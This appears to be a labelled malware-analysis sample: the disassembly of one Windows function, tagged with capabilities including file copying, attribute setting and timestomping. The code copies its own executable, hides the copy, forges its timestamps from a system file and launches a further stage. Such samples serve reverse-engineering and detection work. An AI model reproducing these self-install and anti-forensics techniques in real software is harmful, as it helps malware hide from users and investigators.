Function at 0x40c7da
Capabilities:
Accept command line arguments
Copy file
Get common file path
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edx, eax
xor ebx, ebx
cmp edx, ebx
je 0x40c80e
mov ecx, edx
call fcn.004044ae
lea ecx, [ebp - 0x10]
call fcn.004043bc
cmp eax, ebx
jbe 0x40c80e
mov edi, dword [ebp - 0x10]
call fcn.00403de4
mov eax, dword [0x422724]
push dword [eax + 0x2c]
push 1
push 0x4213e8
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40ca81
call fcn.0040c74d
mov byte [ebp - 1], al
mov eax, dword [0x422724]
push dword [eax + 0x28]
mov byte [ebp - 2], bl
call fcn.00406984
test al, al
je 0x40c8c4
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [0x422724]
push 0xb
push dword [eax + 0x28]
mov dword [ebp - 8], ebx
call fcn.00413cef
mov eax, dword [0x422724]
push ebx
push ebx
push ebx
push ebx
cmp byte [ebp - 1], bl
je 0x40c886
push 9
push dword [eax + 0x28]
call fcn.00413cef
jmp 0x40c8ab
push 3
push dword [eax + 0x28]
call fcn.00413cef
jmp 0x40c89a
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x422724]
push dword [eax + 0x28]
call fcn.00406984
test al, al
jne 0x40c892
mov byte [ebp - 2], 1
cmp dword [ebp - 8], ebx
je 0x40c8c4
push dword [ebp - 8]
call fcn.00404ea5
push dword [ebp - 8]
call fcn.00403dc8
push esi
push 0x104
lea eax, [ebp - 0x438]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x230]
call fcn.00414022
mov eax, dword [0x422724]
push dword [eax + 0xc]
mov edi, dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [ebp - 0x230]
push eax
push eax
call edi
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x438]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
lea eax, [ebp - 0x230]
push eax
je 0x40c9ff
call fcn.00414418
lea eax, [ebp - 0x230]
push eax
call fcn.00404ea5
push ebx
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x438]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x26
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
push ebx
push 3
push ebx
push 1
push 0x40000000
lea eax, [ebp - 0x230]
push eax
call esi
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x40c9ee
push 1
push 0x25
lea eax, [ebp - 0x438]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov eax, dword [0x422724]
push dword [eax + 0x54]
lea eax, [ebp - 0x438]
push eax
push eax
call edi
push ebx
push ebx
push 3
push ebx
push 3
push 0x80000000
lea eax, [ebp - 0x438]
push eax
call esi
mov esi, eax
cmp esi, 0xffffffff
je 0x40c9e5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x21
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x40ca07
mov byte [ebp - 1], bl
call fcn.00414418
cmp byte [ebp - 1], bl
je 0x40ca26
cmp byte [ebp - 2], bl
je 0x40ca80
mov eax, dword [0x422724]
push ebx
push ebx
push ebx
push ebx
push 0xa
push dword [eax + 0x28]
call fcn.00413cef
jmp 0x40ca80
mov eax, dword [0x42272c]
mov ecx, dword [0x422724]
and eax, 1
or eax, 2
push dword [ecx + eax*8]
call fcn.004141f4
mov edi, eax
mov esi, 0x40cebf
jmp 0x40ca50
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, esi
sub eax, dword [0x4213c4]
push edi
push eax
xor eax, eax
call fcn.0040d519
test al, al
je 0x40ca48
jmp 0x40ca6f
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x422724]
push dword [eax + 0x24]
call fcn.00406984
test al, al
je 0x40ca67
pop esi
cmp dword [ebp - 0xc], ebx
pop edi
pop ebx
je 0x40ca91
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004073cd
mov eax, 0x401730
leave
ret